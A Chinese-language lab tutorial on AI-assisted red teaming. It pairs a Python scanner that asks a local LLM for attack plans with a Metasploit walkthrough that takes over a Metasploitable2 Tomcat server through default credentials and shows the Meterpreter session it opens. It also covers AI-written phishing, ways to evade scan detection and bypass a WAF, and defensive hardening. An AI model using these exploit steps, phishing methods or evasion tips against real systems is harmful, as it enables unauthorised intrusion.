2026年红队攻击生命周期:从AI侦察到数据外泄
前言
1. 技术背景
在2026年的网络攻防体系中,**人工智能(AI)**已不再是辅助工具,而是驱动攻击全生命周期的核心引擎。 传统的红队攻击依赖大量手动操作和经验判断,效率和规模受限。如今,从目标画像、漏洞发现到权限维持和数据外泄,AI Agent(智能体)正在重塑每一个环节。 攻击者利用AI实现大规模、自动化和高适应性的攻击模拟,而防御方也必须理解并利用AI来构建智能化的纵深防御体系。 本文聚焦于这一全新范式下的红队攻击生命周期,重点剖析以AI驱动的侦察与漏洞利用技术。
2. 学习价值
掌握本文介绍的AI驱动攻击技术,您将能够:
- 解决效率瓶颈:自动化完成以往需要数天甚至数周才能完成的信息收集与分析任务。
- 提升攻击成功率:通过AI精准识别目标的组织架构、技术栈和潜在弱点,制定更具针对性的攻击策略。
- 理解新型威胁:洞悉当前最前沿的攻击手法,例如AI生成钓鱼邮件、自动化漏洞挖掘和自适应横向移动脚本。
- 构建有效防御:从攻击者视角出发,理解AI攻击的原理和路径,从而设计出更具弹性的检测和响应机制。
3. 使用场景
本文所述技术和理念广泛应用于以下实际场景:
- 授权渗透测试:在获得明确授权的前提下,模拟高级持续性威胁(APT),对企业进行深度安全评估。
- 紫队演练:红队使用AI驱动的攻击工具,蓝队利用AI增强的检测系统进行实时对抗,共同提升组织的安全韧性。
- 安全产品研发:将AI攻击模型集成到漏洞扫描器、攻击模拟平台(BAS)等产品中,提升其自动化和智能化水平。
- 安全意识培训:生成高度逼真的AI钓鱼邮件和社交工程场景,用于内部员工的安全意识教育。
一、AI驱动的侦察是什么
精确定义
AI驱动的侦察(AI-Driven Reconnaissance) 是指利用大型语言模型(LLM)和机器学习算法,自动化地收集、处理和分析关于目标的公开情报(OSINT),以构建全面的目标画像、识别潜在攻击面,并预测最有可能成功的攻击路径的过程。它将传统侦察工作中“信息搜集”和“信息分析”两个阶段高度智能化和自动化。
一个通俗类比
传统的红队侦察就像一个侦探手动翻阅成千上万份报纸、档案和电话簿,用笔和纸记录线索,然后在大脑中拼凑出嫌疑人的画像。这个过程缓慢、繁琐且容易遗漏关键信息。
而 AI驱动的侦察 则像为这位侦探配备了一个由无数个AI助手组成的团队。这些助手能在一秒钟内读完一个图书馆的所有资料,自动识别并关联所有相关线索(如姓名、职位、邮箱、社交媒体活动、公司技术招聘信息、代码仓库提交记录),最终生成一份包含目标组织架构、关键人员、技术栈、潜在入口点和攻击建议的动态情报报告。侦探的角色从“执行者”转变为“决策者”。
实际用途
- 快速构建目标画像:自动抓取目标公司的官网、社交媒体、新闻稿、招聘网站等信息,提取关键人员(如IT管理员、开发人员)的姓名、职位、邮箱和社交账号。
- 技术栈识别:通过分析招聘信息、员工的GitHub、技术博客以及网站的HTTP头信息,精确识别目标使用的编程语言、框架、服务器、云服务商等。
- 攻击面发现:持续监控与目标相关的域名、子域名、IP地址段和代码仓库,自动发现新上线的Web服务、开放的端口或意外泄露的API密钥。
- 生成定制化钓鱼邮件:结合目标的行业背景、近期动态和关键人员信息,AI可以生成高度可信、语法流畅且个性化的钓鱼邮件,成功率远超传统模板。
技术本质说明
AI驱动侦察的技术本质是 “自然语言处理(NLP)” 与 “多模态信息融合” 在网络安全情报领域的应用。其核心流程如下图所示:
- 图解:攻击者向侦察AI下达指令。AI首先从互联网上广泛搜集数据,然后利用NLP技术将非结构化的文本(如新闻、社交帖子)转化为结构化信息(如技术、姓名、职位)。接着,AI通过关联分析,将孤立的信息点连接成知识图谱,例如将“某员工在论坛提问”和“公司官网技术栈”关联起来,推断出可能的漏洞。最后,AI生成一份包含具体攻击建议的情报报告,指导攻击者执行后续操作。
二、环境准备
本次实战将使用一个本地AI模型和一个简单的Web界面来模拟AI驱动的侦察过程。我们将使用开源工具搭建一个安全、隔离的实验环境。
工具版本
- Docker: 26.0.0 或更高版本
- Docker Compose: v2.24.5 或更高版本
- Python: 3.10 或更高版本
- Gradio: 4.20.0 或更高版本
- Ollama: 用于在本地运行大型语言模型
- Metasploitable2: 作为我们的靶机,一个故意设计了许多漏洞的虚拟机。
下载方式
- Docker: 请访问 Docker官方网站 下载并安装适用于您操作系统的Docker Desktop。
- Ollama: 访问 Ollama官方网站 并根据您的操作系统(macOS, Linux, Windows)进行安装。
- Metasploitable2 (Docker版): 无需手动下载,我们将通过Docker命令直接拉取镜像。
- Gradio与依赖库: 将通过
pip在Python虚拟环境中安装。
核心配置命令
-
创建项目目录与文件
在您的工作区创建一个新目录,例如ai_recon_lab,并在其中创建以下文件:docker-compose.yml(用于编排靶机和攻击机)app.py(我们的AI侦察工具代码)requirements.txt(Python依赖)
-
配置
requirements.txtgradio requests beautifulsoup4 -
配置
docker-compose.yml
此配置将创建一个隔离的网络,并启动一个Kali Linux容器(攻击机)和一个Metasploitable2容器(靶机)。# docker-compose.yml version: '3.8' services: kali: image: kalilinux/kali-rolling tty: true stdin_open: true networks: - recon-net cap_add: - NET_ADMIN # 允许进行网络相关的操作 command: /bin/bash metasploitable: image: tleemcjr/metasploitable2 ports: # 为了方便演示,映射一些端口到主机,实战中应避免 - "21:21" - "22:22" - "80:80" - "8180:8180" networks: - recon-net hostname: metasploitable networks: recon-net: driver: bridge
可运行环境命令或 Docker
-
拉取并运行本地AI模型 (Ollama)
打开终端,执行以下命令拉取并运行一个较小的、适合执行指令的模型(如llama3)。# 拉取模型 ollama pull llama3 # 运行模型服务 (它会在后台持续运行) # 如果您已安装Ollama桌面应用,它可能已自动运行 ollama serve -
启动靶机与攻击机环境
在ai_recon_lab目录下,打开终端并运行:# 启动Docker容器 docker-compose up -d此命令会下载镜像并在后台启动Kali和Metasploitable2容器。
-
设置并运行AI侦察Web应用
在ai_recon_lab目录下,打开另一个终端:# 创建并激活Python虚拟环境 python3 -m venv venv source venv/bin/activate # 在Windows上使用 `venv\Scripts\activate` # 安装Python依赖 pip install -r requirements.txt # 运行Gradio应用 python3 app.py运行后,您将在终端看到一个本地URL(如
http://127.0.0.1:7860)。在浏览器中打开它。
三、核心实战
本次实战的目标是利用我们自建的AI工具,对靶机 Metasploitable2 进行侦察,并根据AI的建议执行一次完整的攻击,最终获取一个Web Shell。
自动化脚本 (app.py)
这是我们的核心工具代码。它结合了Gradio界面、一个简单的端口扫描功能,并通过API调用本地Ollama模型来分析扫描结果并提供攻击建议。
# app.py
# 警告:本脚本仅用于授权测试环境。未经授权的扫描和攻击是非法的。
import gradio as gr
import requests
import json
import socket
from bs4 import BeautifulSoup
import argparse
# --- Ollama API配置 ---
OLLAMA_API_URL = "http://localhost:11434/api/generate"
def get_target_ip(hostname):
"""通过hostname获取IP地址"""
try:
# 在Docker网络中,可以直接使用服务名作为hostname
ip_address = socket.gethostbyname(hostname)
return ip_address
except socket.gaierror:
return None
def simple_port_scan(ip, ports):
"""一个非常基础的端口扫描器"""
open_ports = []
for port in ports:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(0.5)
if s.connect_ex((ip, port)) == 0:
open_ports.append(port)
except socket.error:
pass # 忽略连接错误
return open_ports
def get_http_banner(ip, port):
"""获取HTTP服务的Banner信息"""
try:
url = f"http://{ip}:{port}"
response = requests.get(url, timeout=2)
headers = response.headers
server_banner = headers.get('Server', 'N/A')
# 尝试解析页面标题
soup = BeautifulSoup(response.text, 'html.parser')
title = soup.title.string if soup.title else 'No title found'
return f"端口 {port} (HTTP): 服务器: {server_banner}, 页面标题: '{title.strip()}'"
except requests.exceptions.RequestException:
return f"端口 {port} (HTTP): 无法获取Banner。"
def analyze_with_ai(scan_results):
"""使用本地LLM分析扫描结果并提供攻击建议"""
prompt = f"""
你是一名顶级的红队攻防专家和渗透测试专家。
这里有一份对目标IP的端口扫描和Banner抓取结果:
---
{scan_results}
---
请根据以上信息,遵循以下格式进行分析和回应:
1. **脆弱点分析**: 指出最可能存在漏洞的服务和端口,并解释为什么。请具体到服务名称和版本(如果可知)。
2. **推荐攻击路径 (Top 1)**: 给出最直接、成功率最高的攻击建议。请提供具体的攻击步骤或可以使用的Metasploit模块名称。
3. **所需工具**: 列出执行此攻击所需的工具。
4. **警告**: 强调此操作的风险和法律责任。
"""
payload = {
"model": "llama3",
"prompt": prompt,
"stream": False
}
try:
response = requests.post(OLLAMA_API_URL, json=payload, timeout=120)
response.raise_for_status() # 检查HTTP错误 [19]
# 解析Ollama的响应
response_data = response.json()
return response_data.get("response", "AI模型未返回有效分析。")
except requests.exceptions.Timeout:
return "错误:连接AI模型超时。请确保Ollama服务正在运行且模型已加载。"
except requests.exceptions.ConnectionError:
return "错误:无法连接到Ollama API。请检查API URL和网络连接。"
except requests.exceptions.RequestException as e:
return f"错误:请求AI模型时发生未知错误: {e}"
def recon_and_attack_plan(target_hostname):
"""主函数,执行侦察并生成攻击计划"""
if not target_hostname:
return "请输入目标主机名。", ""
# 警告
warning_message = "--- 仅限授权测试环境 ---"
ip_address = get_target_ip(target_hostname)
if not ip_address:
return f"无法解析主机名: {target_hostname}", warning_message
common_ports = [21, 22, 23, 25, 80, 139, 445, 3306, 8080, 8180]
scan_report = f"开始对 {target_hostname} ({ip_address}) 进行侦察...\n"
open_ports = simple_port_scan(ip_address, common_ports)
if not open_ports:
scan_report += "没有在常见端口列表中发现开放端口。"
return scan_report, warning_message
scan_report += f"发现开放端口: {open_ports}\n"
scan_report += "正在抓取服务信息...\n"
detailed_results = ""
for port in open_ports:
if port in [80, 8080, 8180]: # 仅对HTTP端口抓取banner
detailed_results += get_http_banner(ip_address, port) + "\n"
else:
detailed_results += f"端口 {port}: 服务类型未知 (非HTTP)\n"
scan_report += detailed_results
ai_analysis = analyze_with_ai(detailed_results)
return scan_report, ai_analysis
# --- Gradio UI ---
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="AI驱动的侦察工具。")
parser.add_argument("--target", type=str, default="metasploitable", help="要扫描的目标主机名 (默认为 'metasploitable')")
args = parser.parse_args()
# 警告:此工具仅用于经授权的教育和测试目的。
print("="*50)
print("警告:本工具仅限在授权的测试环境中使用。")
print("未经授权的扫描和攻击行为是非法的,并可能导致严重的法律后果。")
print("="*50)
iface = gr.Interface(
fn=recon_and_attack_plan,
inputs=gr.Textbox(lines=1, label="目标主机名", value=args.target),
outputs=[
gr.Textbox(lines=10, label="侦察报告"),
gr.Textbox(lines=15, label="AI攻击计划分析")
],
title="2026 红队AI侦察助手",
description="输入目标主机名(在我们的Docker环境中是 'metasploitable'),工具将进行端口扫描,并让AI分析结果以制定攻击计划。",
allow_flagging="never"
)
iface.launch()
完整可运行示例
步骤 1:运行AI侦察工具
- 确保您的Docker环境 (
kali和metasploitable) 正在运行。 - 确保Ollama服务正在运行。
- 在终端中运行
python3 app.py。 - 打开浏览器访问
http://127.0.0.1:7860。 - 在输入框中保持默认的
metasploitable,点击“Submit”。
步骤 2:分析AI生成的报告
您将在界面右侧看到两部分输出:
-
侦察报告:
开始对 metasploitable (172.20.0.3) 进行侦察... 发现开放端口: [21, 22, 80, 139, 445, 3306, 8180] 正在抓取服务信息... 端口 21: 服务类型未知 (非HTTP) 端口 22: 服务类型未知 (非HTTP) 端口 80 (HTTP): 服务器: Apache/2.2.8 (Ubuntu) DAV/2, 页面标题: 'Metasploitable2 - Linux' 端口 139: 服务类型未知 (非HTTP) 端口 445: 服务类型未知 (非HTTP) 端口 3306: 服务类型未知 (非HTTP) 端口 8180 (HTTP): 服务器: Apache-Coyote/1.1, 页面标题: 'Apache Tomcat/5.5' -
AI攻击计划分析 (由本地
llama3模型生成):1. **脆弱点分析**: 最可疑的服务是运行在 **8180端口** 的 **Apache Tomcat/5.5**。这是一个非常古老的版本,历史上存在多个已知的远程代码执行漏洞。特别是,其默认的管理后台(/manager/html)经常使用弱口令(如 tomcat:tomcat),一旦登录,就可以直接部署恶意的WAR文件来获取服务器Shell。 2. **推荐攻击路径 (Top 1)**: 利用Metasploit框架中的 `exploit/multi/http/tomcat_mgr_deploy` 模块。这个模块会自动尝试使用弱口令登录Tomcat管理后台,并上传一个包含后门的WAR文件。 步骤: a. 启动Metasploit (`msfconsole`)。 b. `use exploit/multi/http/tomcat_mgr_deploy` c. `set RHOSTS 172.20.0.3` (靶机IP) d. `set RPORT 8180` e. `set HttpUsername tomcat` f. `set HttpPassword tomcat` g. `exploit` 3. **所需工具**: * Metasploit Framework (msfconsole) 4. **警告**: 此操作将会在目标服务器上执行任意代码,具有极高的风险。**绝对禁止在未经授权的系统上执行此操作**。所有活动都应在隔离的、合法的实验环境中进行。
步骤 3:根据AI建议执行攻击
-
进入我们的Kali攻击容器:
docker-compose exec kali /bin/bash -
在Kali容器的命令行中,启动Metasploit并执行AI建议的命令:
# 启动Metasploit msfconsole -q # 使用推荐的模块 msf > use exploit/multi/http/tomcat_mgr_deploy # 设置目标IP和端口 (根据侦察报告) msf exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 172.20.0.3 msf exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180 # 设置Tomcat的默认弱口令 msf exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat msf exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat # 执行攻击 msf exploit(multi/http/tomcat_mgr_deploy) > exploit
步骤 4:验证结果
- 请求 / 响应 / 输出结果:
Metasploit会显示如下输出,表示攻击成功:[*] Started reverse TCP handler on 172.20.0.2:4444 [*] Uploading payload... [*] Uploaded 1039 bytes in 0.02 seconds [*] Deploying payload... [*] Deployed [*] Sending stage (985321 bytes) to 172.20.0.3 [*] Meterpreter session 1 opened (172.20.0.2:4444 -> 172.20.0.3:48493) at 2026-03-22 10:30:00 +0000 meterpreter >meterpreter >提示符的出现,意味着我们已经成功在靶机上获得了一个交互式Shell,控制了该服务器。至此,一次从AI侦察到成功利用的攻击闭环完成。
四、进阶技巧
常见错误
- AI模型幻觉: AI可能会“幻想”出不存在的漏洞或提供错误的Metasploit模块名。解决方案:始终将AI的建议视为“假设”,并使用
searchsploit或在Metasploit中用search命令进行二次验证。 - 网络隔离问题: 在Docker环境中,容器可能无法访问主机上运行的Ollama服务。解决方案:在运行Python脚本时,使用
--network="host"参数,或者确保Docker网络配置正确,允许容器访问主机的特定端口。 - API调用超时: 对于复杂的分析,本地小模型可能需要较长时间。解决方案:在
requests.post调用中增加timeout参数的值,并为用户提供清晰的等待提示。
性能 / 成功率优化
- 模型微调 (Fine-tuning): 使用大量“扫描报告 -> 攻击报告”的数据对,对一个开源模型(如Llama 3)进行微调。这能让模型更懂网络安全术语,提供的建议更精准。
- 多Agent协作: 构建一个Agentic工作流。
- Recon Agent: 专门负责信息收集。
- Scanner Agent: 负责调用Nmap、Nuclei等专业工具进行深度扫描。
- Exploit Agent: 专门负责分析扫描结果,并查找、验证漏洞利用代码。
- Report Agent: 负责汇总所有信息,生成最终报告。
这种分工协作模式能大幅提升效率和专业度。
- 集成专业工具: 不要依赖简单的Python端口扫描。让AI Agent调用成熟的扫描工具(如Nmap、Nuclei),然后将这些工具的JSON输出作为输入提供给AI进行分析,结果会准确得多。
实战经验总结
- AI最擅长“连接点”: AI最大的价值在于将看似无关的信息点联系起来。例如,它能将一个开发人员在Stack Overflow上的提问、他的GitHub项目和一个公司的招聘需求联系起来,推断出内部可能使用的脆弱技术。
- 人机结合是关键: 不要完全依赖AI。将AI作为“超级大脑”来处理海量信息和提供初步假设,但最终的决策和执行验证仍需经验丰富的安全专家来完成。
- 上下文(Context)为王: 给AI的提示(Prompt)越详细、上下文越丰富,它返回的结果就越有价值。与其问“有什么漏洞?”,不如提供完整的Nmap XML输出,并问“基于这份Nmap报告,结合目标是一家金融科技公司的事实,最有可能的三个入口点是什么?”
对抗 / 绕过思路
- 防御方 (蓝队):
- AI陷阱 (Honeypot): 故意暴露一些带有虚假漏洞信息的服务,这些服务被配置了严密的监控。当攻击方的AI扫描并尝试利用这些“陷阱”时,防御方可以立即捕获其攻击特征和IP。
- 信息混淆: 在公开信息中(如招聘启事、技术博客)故意释放一些误导性信息,干扰攻击方AI的分析判断。
- 检测AI扫描行为: AI驱动的自动化扫描工具其行为模式(如扫描速度、顺序、请求频率)可能与人类不同。可以训练一个机器学习模型来识别这种“机器行为”并进行告警或阻断。
- 攻击方 (红队):
- 模拟人类行为: 在自动化扫描脚本中加入随机延迟、随机扫描顺序和随机User-Agent,使其行为更像人类,从而绕过基于行为的检测。
- 分布式扫描: 使用多个IP地址(代理网络)进行分布式、低频率的扫描,避免触发单一IP的阈值告警。
- 利用AI进行反侦察: 使用AI分析目标的防御措施。例如,通过分析HTTP响应头中的安全策略,AI可以建议如何调整攻击载荷以绕过WAF(Web应用防火墙)。
五、注意事项与防御
错误写法 vs 正确写法 (代码层面)
-
错误: 直接在代码中硬编码API密钥或敏感URL。
# 错误示范 API_KEY = "sk-xxxxxxxxxxxxxxxxxxxx" requests.post("https://api.example.com/v1/data", headers={"Authorization": f"Bearer {API_KEY}"}) -
正确: 使用环境变量或配置文件管理敏感信息。
# 正确示范 import os API_KEY = os.getenv("MY_APP_API_KEY") if not API_KEY: raise ValueError("API密钥未设置!") requests.post(url, headers={"Authorization": f"Bearer {API_KEY}"}) -
错误: 忽略网络请求的所有异常。
# 错误示范 try: response = requests.get(url) # ... process response except: print("发生错误") -
正确: 精确捕获并处理不同类型的异常(如连接错误、超时、HTTP错误)。
# 正确示范 try: response = requests.get(url, timeout=10) response.raise_for_status() # 针对4xx/5xx错误抛出异常 # ... process response except requests.exceptions.Timeout: print("请求超时") except requests.exceptions.ConnectionError: print("网络连接错误") except requests.exceptions.HTTPError as e: print(f"HTTP错误: {e.response.status_code}") except requests.exceptions.RequestException as e: print(f"请求发生未知错误: {e}")
风险提示
- 法律风险: 未经授权对任何系统进行扫描、测试或攻击都是违法行为。所有实验必须在自己搭建的、完全隔离的靶场环境中进行。
- 数据泄露风险: 在使用第三方AI服务(即使是API)时,要警惕您发送的数据可能会被用于模型训练。对于敏感的侦察数据,优先使用本地部署的或私有化的AI模型。
- 工具滥用风险: 本文介绍的技术可被恶意行为者利用。作为安全从业者,必须坚守道德底线,仅将技术用于正当的、授权的防御和测试目的。
开发侧安全代码范式
- 依赖管理: 定期使用
pip-audit或Snyk等工具扫描项目依赖,确保没有使用存在已知漏洞的第三方库。 - 输入验证: 对所有来自外部(包括AI模型)的输入进行严格的验证和清洗,防止命令注入或路径遍历等漏洞。
- 最小权限原则: 运行服务的账户应被限制在最小权限。例如,运行Web应用的用户不应有权限执行系统级命令。
- 默认安全配置: 永远不要使用默认密码。应用程序应在首次启动时强制要求修改所有默认凭据。
运维侧加固方案
- 攻击面最小化: 关闭所有不必要的端口和服务。使用防火墙策略,仅允许来自特定IP地址的访问。
- 纵深防御: 实施多层安全措施,包括网络防火墙、WAF、主机入侵检测系统(HIDS)和端点检测与响应(EDR)。
- 身份与访问管理 (IAM): 对所有管理后台和敏感接口实施多因素认证(MFA)。
- 定期更新与补丁管理: 建立自动化的补丁管理流程,确保所有系统和软件都及时更新到最新版本,修复已知漏洞。
日志检测线索
- 异常扫描行为: 来自单一IP地址在短时间内的大量、有序的端口扫描或目录扫描请求。
- 可疑的User-Agent: 扫描工具或自动化脚本可能会使用独特的或空白的User-Agent。
- 登录失败与爆破尝试: 在管理后台(如Tomcat Manager, SSH)出现大量连续的登录失败记录。
- 异常文件上传: Web服务器日志中出现对
.jsp,.war,.php等可执行脚本文件的上传和访问记录,尤其是在非预期的目录中。 - 奇怪的出站连接: 服务器向一个不常见的外部IP地址发起连接,这可能是后门正在连接C2服务器。
总结
- 核心知识: 2026年的红队攻击已进入 AI驱动 的时代,其核心是通过AI Agent实现侦察、分析和利用的自动化与智能化,极大地提升了攻击的效率和成功率。
- 使用场景: 这套方法论主要应用于 授权渗透测试 和 紫队演练,旨在模拟最先进的攻击者,以检验和提升企业的实际防御能力。
- 防御要点: 防御AI驱动的攻击需要转向 主动防御 和 智能检测。包括最小化攻击面、部署AI增强的检测工具、实施零信任架构,以及利用“AI陷阱”来反制攻击者。
- 知识体系连接: AI驱动的侦察是现代攻击链(Cyber Kill Chain)的起点,它直接影响后续的 漏洞利用(Exploitation)、横向移动(Lateral Movement) 和 数据外泄(Exfiltration) 等阶段。
- 进阶方向: 未来的发展方向是 完全自主的攻击Agent。这些Agent能够独立完成从侦察到目标的完整攻击链,无需人工干预,实现真正的“持续性自动化红队测试”。
自检清单
- 是否说明技术价值?
- 是否给出学习目标?
- 是否有 Mermaid 核心机制图?
- 是否有可运行代码?
- 是否有防御示例?
- 是否连接知识体系?
- 是否避免模糊术语?
更多推荐


所有评论(0)